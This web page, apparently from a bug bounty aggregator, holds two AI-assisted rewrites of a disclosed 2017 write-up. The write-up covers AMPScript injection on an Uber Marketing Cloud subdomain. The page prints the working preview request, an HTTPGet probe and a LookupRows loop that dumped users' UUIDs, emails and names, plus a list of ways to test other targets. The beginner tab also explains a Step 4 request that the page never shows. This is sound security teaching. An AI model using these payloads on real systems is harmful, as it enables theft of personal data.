Skip to content
RCE Write-up Intermediate

Gaining access to Uber’s user data through AMPScript evaluation

Shubham Shah Follow

Published on blog.assetnote.io

Bounty$23,000 View original

Modern development and infrastructure management practices are fast paced and constantly evolving. In the race to innovate and expand, new assets are being deployed and exposed to the public Internet rapidly and existing assets are continuously evolving.

Shubham Shah (@infosec_au), on blog.assetnote.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Uber's marketing and messaging infrastructure relies on Salesforce Marketing Cloud, whose scripting language AMPScript (originally developed by ExactTarget, acquired by Salesforce in 2013) can be embedded in HTML emails, text emails, landing pages and SMS messages to control the content shown to individual recipients. The asset in scope here was an obscure subdomain, exacttarget-web-hook.uber.com, discovered by Assetnote's Continuous Security Platform while monitoring Uber's bug bounty attack surface.

For a long time the subdomain returned a plain "Not Found" error generated by an Express.js webserver. Then, without warning, it started serving what looked like a comprehensive internal test bed for Uber's message personalisation system: an API console for testing text messages that contain user personalisation.

The form Assetnote CS discovered on https://exacttarget-web-hook.uber.com/.

Setup

The write-up describes using an authenticated Uber account. The console shipped with a "Test Contact Key", but requests made with it did not work. The contactKey parameter had to be the UUID of the authenticated account, which the researcher extracted from the HTML source of https://riders.uber.com/profile while logged in. No special tooling is mentioned beyond a browser and the ability to send HTTP requests.

Finding it

The console looked like an API console for previewing personalised text messages. The example "Message" shown on the page for the preview endpoint was:

Text
%%[SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)]%%Hi there I'm %%=v(@firstName)=%% and I created this tool.

Investigating the syntax, and connecting it to the subdomain name exacttarget-web-hook, showed that this was AMPScript. The example itself failed when used, so the researcher moved on to the more important question: could arbitrary AMPScript be evaluated at all?

Exploitation

Step 1: get the preview endpoint working

Swapping the provided test contact key for the UUID of the authenticated Uber account made the preview endpoint accept requests:

HTTP
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1Host: exacttarget-web-hook.uber.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36Accept: */*DNT: 1Referer: https://exacttarget-web-hook.uber.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8

The contactKey is the account UUID, dataExtension names the data extension to preview against (driver_partners), and message carries the content to be rendered.

Step 2: confirm AMPScript evaluation

The researcher found the HTTPGet function, which sends an HTTP GET request and returns the response content, and used it as a probe:

Text
%%=HTTPGet('https://ipinfo.io')=%%

Running the AMPScript query %%=HTTPGet('https://ipinfo.io')=%%.

Arbitrary AMPScript was being evaluated. The request sent through HTTPGet did not originate from an Uber owned server: it came from AS22606 ExactTarget, Inc. as the screenshot shows. That detail matters for understanding where the code executes and what network position it has.

Step 3: read a data extension

Data extensions are database tables accessible through AMPScript's data extension functions. Reading the documentation for LookupRows, the researcher crafted AMPScript that:

  1. Searches the driver_partners data extension for all rows where firstname equals Shubs.
  2. Stores the results in an array.
  3. Iterates over the array and prints the values.
Text
%%[SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')SET @rCount = RowCount(@prefArray)FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5)]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%%%[NEXT @i]%%

LookupRows returns the matching rows, RowCount gives the number of results, Row fetches one row by index, and Field pulls a column out of that row by position. The V calls print each value into the rendered output.

Step 4: send it to the preview endpoint

The AMPScript was URL-encoded into the message parameter and sent to the same endpoint:

The response contained the UUID, join date, email address and first name of every user with the first name Shubs.

Data returned from Uber for all users named 'Shubs'. The screenshot was redacted to show only the researcher's test accounts.

Root cause

The preview endpoint evaluated the AMPScript supplied in the message parameter. Because AMPScript exposes data extension functions such as LookupRows and network functions such as HTTPGet, the caller could read data extension tables such as driver_partners and make outbound requests from ExactTarget infrastructure. The report does not describe any input validation or sandboxing that was meant to prevent this.

Impact

An attacker with an Uber account could craft AMPScript to extract data in the masses, or to look up specific people in Uber's data by first name and extract their UUID and email address. The data reached was the driver_partners data extension, which returned UUID, join date, email address and first name. The HTTPGet probe shows that requests could also be issued from ExactTarget's network (AS22606), not from an Uber owned server. The report does not quantify how many records the data extension held.

Fix

The bug was found on 13 November 2017, fixed by 15 November 2017, and paid out on 28 December 2017. The report does not describe the change that was made. As part of HackerOne's Hack the World event the researcher received a $20,000 bonus for the "most impactful report" during the event period, making the total payout $23,000.

Variants to test

  • Look for other endpoints that accept a template or message body and render it server-side. A positive result is that template syntax in the parameter is evaluated rather than echoed literally.
  • Probe for AMPScript specifically with a harmless network call such as %%=HTTPGet('https://ipinfo.io')=%% and check whether the response body contains the fetched content and which network the request originates from.
  • If evaluation works, try LookupRows against a known data extension name to see whether table contents are returned.
  • Watch for subdomains that change behaviour over time: a host returning a generic 404 can later start serving an internal console, so periodic re-checks of forgotten assets are worthwhile.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Uber sends messages to its users: emails, text messages, notifications inside its apps. To fill those messages with personal details (a first name, a join date, an email address), Uber uses a product called Salesforce Marketing Cloud. That product has its own small programming language, AMPScript, which you can drop into an email or a text message template. When the message is about to be sent, the language runs and its output is placed into the message. So a template like Hi there I'm %%=v(@firstName)=%% becomes Hi there I'm Shubs for one person and Hi there I'm Maria for another.

The researcher, Shubham Shah from a company called Assetnote, was watching Uber's public web addresses (its "attack surface", meaning everything Uber exposes on the internet) with an automated tool. The tool found an obscure subdomain, exacttarget-web-hook.uber.com. For a long time that address just answered "Not Found", the same boring error page you get when you mistype a web address. Then one day it started showing a form: an internal-looking console for testing personalised text messages.

That console turned out to evaluate AMPScript sent by a logged-in user, running on ExactTarget infrastructure with access to Uber's marketing database tables. The researcher used it to read real user records: UUIDs, join dates, email addresses and first names. Uber fixed it within two days and paid a bounty, which with a bonus came to $23,000.

This article walks through the same steps the researcher took, explaining each idea from scratch.

Background: the pieces involved

Before the steps, here are the concepts you need. Each one is explained again where it first appears in the story, so you can also read straight on and come back.

What a subdomain is

A domain is the main address of a website, like uber.com. A subdomain is a prefix in front of it: riders.uber.com, blog.uber.com, exacttarget-web-hook.uber.com. Companies create many subdomains, one per service, and some of them are forgotten, internal, or only meant for testing. Each subdomain can be a completely different application running on different servers.

What an API and an API console are

An API (Application Programming Interface) is a way for one program to talk to another over the web, without a human clicking buttons. Instead of a page designed for a person, the server offers addresses that accept requests and return data, usually in a compact format.

An API console is a page made for developers to try those requests by hand: you fill in a form, press a button, and see what comes back. It is like a test kitchen where a chef tries a recipe before it goes on the menu. If a test kitchen is left unlocked to the public, anyone can walk in and cook.

What a request and a response are

When your browser loads a page, it sends a request to a server and the server sends back a response. A request has a method (GET means "give me something", POST means "here is something for you"), a path (the part after the domain, like /preview), optional parameters (values after a ?, separated by &), and headers (extra information such as which browser you use). The response has a status code (200 means fine, 404 means not found) and a body (the content).

What a UUID is

A UUID (Universally Unique Identifier) is a long random-looking string used to identify one thing, such as one user account, without revealing anything else about it. Think of it as a coat-check ticket number: it points to your coat but does not describe it.

What a data extension is

In Salesforce Marketing Cloud, a data extension is simply a database table: rows and columns of information. Uber had one called driver_partners, which held details about driver partners. AMPScript can read from these tables.

What AMPScript is

AMPScript is a scripting language made by a company called ExactTarget, which Salesforce acquired in 2013. It is embedded inside HTML emails, plain text emails, landing pages and SMS messages to control what each individual recipient sees. It looks like this: text with special markers in it. %%[ ... ]%% marks a block of instructions, and %%= ... =%% marks a spot where a value should be printed into the output.

What injection means

Injection is a whole family of bugs with one shared shape: a program takes something a user supplied and treats it as instructions instead of as plain data. Imagine a waiter who writes your order on the kitchen ticket. If you say "one soup" you get soup. If you say "one soup, and also give me the till", and the kitchen obediently follows every line on the ticket, you have just injected an instruction. The fix in general is to keep data and instructions separate. Here, the message text a user typed was handed to the AMPScript engine, which ran it as code. That is why the weakness is called AMPScript injection.

Finding it

Assetnote's Continuous Security Platform is an automated system that keeps watching a company's web addresses over time and notices when something changes. That is how the subdomain was found in the first place, and how the change was noticed later.

For quite some time, exacttarget-web-hook.uber.com returned a plain "Not Found" error, generated by a web server built on Express.js (a popular toolkit for building web servers in the JavaScript language). A 404 page like that tells you almost nothing, so there was nothing to test.

Then, without warning, the same address started serving what looked like a comprehensive internal test bed for Uber's message personalisation system: an API console for testing text messages that contain user personalisation.

The form Assetnote CS discovered on https://exacttarget-web-hook.uber.com/.

Why this matters: web addresses change behaviour over time. A host that answers "Not Found" today can start serving an internal tool tomorrow, because someone deployed a new version, opened a firewall rule, or moved a service. Checking forgotten addresses again later is a real technique, not a waste of time.

Setup: getting the console to answer

The write-up describes using an authenticated Uber account. No special tooling is mentioned beyond a browser and the ability to send HTTP requests.

The console came with a "Test Contact Key" already filled in. A contact key is the identifier the marketing system uses to look up one person's record. Requests made with the provided test key did not work.

After some investigation, the researcher determined why: the contactKey parameter had to be the UUID of the authenticated account, not the sample value on the page. In other words, the console needed the UUID of the account that was actually logged in.

The UUID was extracted from the HTML source of https://riders.uber.com/profile while logged in. Every web page is built from HTML, the markup language that describes its content, and your browser has a "view source" option that shows it. Account identifiers often sit in that source because the page's scripts need them. So the researcher opened their own profile page, viewed the source, and copied their own UUID out of it.

Exploitation

Step 1: get the preview endpoint working

The console looked like an API console for previewing personalised text messages. The example "Message" shown on the page for the preview endpoint was:

Text
%%[SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)]%%Hi there I'm %%=v(@firstName)=%% and I created this tool.

Line by line, in plain words:

  • %%[ opens a block of AMPScript instructions. Everything until the matching ]%% is code, not text to display.
  • SET @firstName = ... creates a variable (a named box for a value) called @firstName and puts something in it. The @ is just how AMPScript names variables.
  • LOOKUP(...) is a function: a named operation that takes inputs in brackets and gives back a result. It searches a table. Its inputs here are the table name 'driver_partners', the column to match on 'firstname', the column to compare 'partner_uuid', and the value to compare against, partner_uuid. So: find the row in driver_partners whose partner_uuid equals this person's partner UUID, and give me its firstname.
  • ]%% closes the instruction block.
  • Hi there I'm is ordinary text that will appear in the message exactly as written.
  • %%=v(@firstName)=%% is a print marker. v(...) means "the value of this variable", and the surrounding %%= and =%% say "put that value here in the output".
  • and I created this tool. is more ordinary text.

So the whole thing means: look up this person's first name in the driver table, then produce a sentence greeting them by name. That is exactly what a personalisation system does for millions of messages.

Investigating the syntax, and connecting it to the subdomain name exacttarget-web-hook, showed that this was AMPScript. The name was a hint: ExactTarget is the company that made AMPScript.

The example itself failed when used, so the researcher moved on to the more important question: could arbitrary AMPScript be evaluated at all? "Arbitrary" here means code the researcher writes, not the sample the page provides. That is the real test. A preview feature that only accepts its own example is harmless; one that runs whatever you give it is a different story.

Swapping the provided test contact key for the UUID of the authenticated Uber account made the preview endpoint accept requests:

HTTP
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1Host: exacttarget-web-hook.uber.comConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36Accept: */*DNT: 1Referer: https://exacttarget-web-hook.uber.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8

Line by line:

  • GET /preview?... HTTP/1.1 is the request line. GET asks for something, /preview is the path, and HTTP/1.1 is the version of the web protocol being spoken.
  • contactKey=[redacted] is the identity parameter. In the real request this held the researcher's own account UUID; it is blanked out here because it identifies a person.
  • dataExtension=driver_partners names the table the preview should be rendered against.
  • create_new=true is a flag, a simple on/off switch, presumably telling the system to create a fresh preview.
  • message= is where the message content goes. Here it is empty.
  • business_unit= is another parameter, left empty.
  • Host: exacttarget-web-hook.uber.com tells the server which site the request is for. One server can host many sites, so this header picks one.
  • Connection: close asks the server to close the connection after answering, rather than keeping it open for more requests.
  • User-Agent: ... identifies the browser that sent the request. This one claims to be Chrome 61 on a Mac.
  • Accept: */* says the client will accept any kind of response.
  • DNT: 1 is the old "Do Not Track" preference.
  • Referer: https://exacttarget-web-hook.uber.com/ says which page the request came from.
  • Accept-Encoding: gzip, deflate says the client can handle compressed responses.
  • Accept-Language: en-US,en;q=0.8 says the client prefers English.

Step 2: confirm AMPScript evaluation

The researcher found the HTTPGet function in the AMPScript documentation. It sends an HTTP GET request to a web address and returns the response content as its result. In other words, it lets the script fetch a page from the internet and use what comes back.

That makes it a perfect probe, meaning a small harmless test to see whether code runs. The probe was:

Text
%%=HTTPGet('https://ipinfo.io')=%%

Line by line:

  • %%= opens a print marker, the same kind used earlier to print a variable.
  • HTTPGet('https://ipinfo.io') calls the function with one input: the address https://ipinfo.io, a public service that reports information about the connection it receives.
  • =%% closes the print marker, so whatever the function returns gets printed into the output.

If the engine runs this, the output will contain the contents of the ipinfo.io page, which includes the IP address the request came from. If the engine does not run it, the output will contain the literal text %%=HTTPGet('https://ipinfo.io')=%%.

Running the AMPScript query %%=HTTPGet('https://ipinfo.io')=%%.

The result: arbitrary AMPScript was being evaluated. The request sent through HTTPGet did not originate from an Uber owned server. It came from AS22606 ExactTarget, Inc. as the screenshot shows. AS numbers identify networks on the internet, so this tells you whose computers the code was running on: Salesforce's, not Uber's.

Why that detail matters: it tells you where the code executes and what network position it has. Code running inside a company's marketing platform can reach that platform's internal resources, including its database tables, which is exactly what the next step uses.

Step 3: read a data extension

Data extensions are database tables accessible through AMPScript's data extension functions. Reading the documentation for LookupRows, the researcher crafted AMPScript that:

  1. Searches the driver_partners data extension for all rows where firstname equals Shubs.
  2. Stores the results in an array.
  3. Iterates over the array and prints the values.

An array is an ordered list of items, like a shopping list with numbered lines. Iterating means going through that list one item at a time.

Text
%%[SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')SET @rCount = RowCount(@prefArray)FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5)]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%%%[NEXT @i]%%

Line by line:

  • %%[ opens the instruction block.
  • SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs') searches the table driver_partners for every row whose firstname column equals Shubs, and stores all matching rows in a variable called @prefArray. Unlike the earlier LOOKUP, which returns one value, LookupRows returns every matching row.
  • SET @rCount = RowCount(@prefArray) counts how many rows came back and stores that number in @rCount.
  • FOR @i = 1 TO @rCount DO starts a loop: run the following instructions once for each number from 1 up to the row count, using @i as the counter. A loop is how you do the same thing to every item in a list.
  • SET @Row = Row(@prefArray, @i) fetches the row at position @i from the list and stores it in @Row.
  • SET @ID = Field(@Row, 1) pulls out the first column of that row and stores it in @ID.
  • SET @UUID = Field(@Row, 2) pulls out the second column into @UUID.
  • SET @joinDate = Field(@Row, 3) pulls out the third column into @joinDate.
  • SET @email = Field(@Row, 4) pulls out the fourth column into @email.
  • SET @firstName = Field(@Row, 5) pulls out the fifth column into @firstName.
  • ]%% closes the instruction block.
  • %%=V(@UUID)=%% prints the UUID value, with a space before it.
  • %%=V(@joinDate)=%% prints the join date.
  • %%=V(@email)=%% prints the email address.
  • %%=V(@firstName)=%% prints the first name.
  • %%[NEXT @i]%% closes the loop: go back to the top for the next value of @i.

So the whole script means: find every row for people named Shubs, then for each one print the UUID, join date, email address and first name. LookupRows returns the matching rows, RowCount gives the number of results, Row fetches one row by index, and Field pulls a column out of that row by position. The V calls print each value into the rendered output.

Why this step was taken: the probe in step 2 proved code runs. This step proves what that code can reach. Reading a table by name is the difference between "I can make it fetch a public web page" and "I can read Uber's user records".

Step 4: send it to the preview endpoint

The AMPScript was URL-encoded into the message parameter and sent to the same endpoint. URL encoding is how special characters are made safe to put inside a web address: each one is replaced by a percent sign and two hexadecimal digits. A space becomes %20, a newline becomes %0d%0a, and so on. Hexadecimal is just a way of writing numbers using 0 to 9 and A to F.

Line by line:

  • GET /preview?... is the same request line as before: ask the preview endpoint for something.
  • contactKey=[redacted] is again the researcher's own account UUID, blanked out here.
  • dataExtension=driver_partners names the table again.
  • create_new=true is the same flag as before.
  • message= now carries the whole AMPScript script, encoded. You can spot the encoding: %25%25%5b decodes to %%[, the opening of an instruction block, and %0d%0a is a line break. The script is the same one from step 3, with an extra line reading column 10 into @unknown10 and a print marker for it.
  • business_unit= is still empty.
  • The headers are identical to the earlier request: Host, Connection, User-Agent, Accept, DNT, Referer, Accept-Encoding, Accept-Language, each doing the same job as before.

The response contained the UUID, join date, email address and first name of every user with the first name Shubs.

Data returned from Uber for all users named 'Shubs'. The screenshot was redacted to show only the researcher's test accounts.

Root cause

The preview endpoint evaluated the AMPScript supplied in the message parameter. "Privileges" means the permissions the code runs with: the integration was allowed to read Uber's marketing tables, so anything running inside it inherited that access.

Because AMPScript exposes data extension functions such as LookupRows and network functions such as HTTPGet, the caller could read data extension tables such as driver_partners and make outbound requests from ExactTarget infrastructure. "Outbound" means requests going out from that network to the internet.

The report does not describe any input validation or sandboxing that was meant to prevent this. Validation means checking input before using it; a sandbox is a restricted box that code runs inside so it cannot reach anything it should not. Going back to the waiter comparison: the kitchen followed every line on the ticket, including lines the customer was never supposed to write.

Impact

An attacker with an Uber account could craft AMPScript to extract data in the masses, or to look up specific people in Uber's data by first name and extract their UUID and email address. "In the masses" means at scale: a loop over a table can print every row, not just one.

The data reached was the driver_partners data extension, which returned UUID, join date, email address and first name. The HTTPGet probe shows that requests could also be issued from ExactTarget's network (AS22606), not from an Uber owned server. The report does not quantify how many records the data extension held.

Fix

The bug was found on 13 November 2017, fixed by 15 November 2017, and paid out on 28 December 2017. The report does not describe the change that was made.

As part of HackerOne's Hack the World event the researcher received a $20,000 bonus for the "most impactful report" during the event period, making the total payout $23,000. HackerOne is a platform where companies publish bug bounty programmes: rules and reward ranges for people who report security bugs to them. A bonus is an extra payment on top of the standard reward.

Variants to test

If you want to look for similar bugs yourself, these are ideas to try, explained for a beginner:

  • Look for other endpoints that accept a template or message body and render it server-side. "Server-side" means the processing happens on the server, not in your browser. A positive result is that template syntax in the parameter is evaluated rather than echoed literally: you send %%=1+1=%% and get 2 back instead of the text you typed.
  • Probe for AMPScript specifically with a harmless network call such as %%=HTTPGet('https://ipinfo.io')=%% and check whether the response body contains the fetched content and which network the request originates from. "Harmless" matters: you are fetching a public page, not touching anyone's data.
  • If evaluation works, try LookupRows against a known data extension name to see whether table contents are returned.
  • Watch for subdomains that change behaviour over time: a host returning a generic 404 can later start serving an internal console, so periodic re-checks of forgotten assets are worthwhile. This is exactly how the bug in this article was found.

Glossary

  • AMPScript: a scripting language from ExactTarget, now owned by Salesforce, embedded in emails, landing pages and SMS messages to personalise their content.
  • API: a way for one program to talk to another over the web, using defined addresses and formats rather than pages made for people.
  • API console: a page that lets a developer try API requests by hand through a form.
  • Array: an ordered list of items that a program can go through one by one.
  • AS number: a number that identifies a network on the internet, such as AS22606 for ExactTarget.
  • Attack surface: everything a company exposes on the internet that could be attacked, such as its subdomains and services.
  • Bug bounty: a programme where a company rewards people for reporting security bugs to it.
  • Contact key: the identifier a marketing system uses to look up one person's record.
  • Data extension: a database table inside Salesforce Marketing Cloud, with rows and columns.
  • Endpoint: a specific address on a server that accepts requests, such as /preview.
  • Express.js: a toolkit for building web servers in JavaScript.
  • Field: in AMPScript, a function that pulls one column out of a row by its position.
  • GET: the request method that asks a server to give you something.
  • Header: extra information attached to a request or response, such as the browser name or accepted formats.
  • Hexadecimal: a way of writing numbers using 0 to 9 and A to F, used in URL encoding.
  • HTML: the markup language that describes the content of a web page; you can view it with your browser's "view source" option.
  • HTTPGet: an AMPScript function that sends an HTTP GET request to an address and returns the response content.
  • Injection: a bug class where user-supplied input is treated as instructions instead of data.
  • Iterate: to go through a list one item at a time, usually with a loop.
  • Loop: a programming construct that repeats instructions, here FOR ... NEXT.
  • LookupRows: an AMPScript function that returns every row in a table matching a column value.
  • Method: the part of a request that says what kind of action it is, such as GET or POST.
  • Parameter: a value passed in a request, usually after a ? and separated by &.
  • Path: the part of a web address after the domain, such as /preview.
  • Privileges: the permissions code runs with, which decide what it is allowed to reach.
  • Probe: a small, harmless test to see how a system behaves.
  • Request: the message your browser or tool sends to a server.
  • Response: the message the server sends back, with a status code and a body.
  • Root cause: the underlying reason a bug exists, as opposed to its symptoms.
  • Row: one record in a database table.
  • RowCount: an AMPScript function that returns how many rows are in a result.
  • Sandbox: a restricted environment that code runs inside so it cannot reach anything outside it.
  • Server-side: processing that happens on the server rather than in your browser.
  • Status code: a number in a response saying what happened, such as 200 for success or 404 for not found.
  • Subdomain: a prefix on a domain, such as riders in riders.uber.com, usually a separate service.
  • URL encoding: replacing special characters in a web address with a percent sign and two hexadecimal digits, such as %20 for a space.
  • UUID: a long, unique identifier for one thing, such as one user account.
  • Validation: checking input before using it, to make sure it is what it should be.
  • Variable: a named box in a program that holds a value, written with @ in AMPScript.
  • Web hook: a web address that another system calls into automatically when something happens.

More by Shubham Shah

View all

5 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.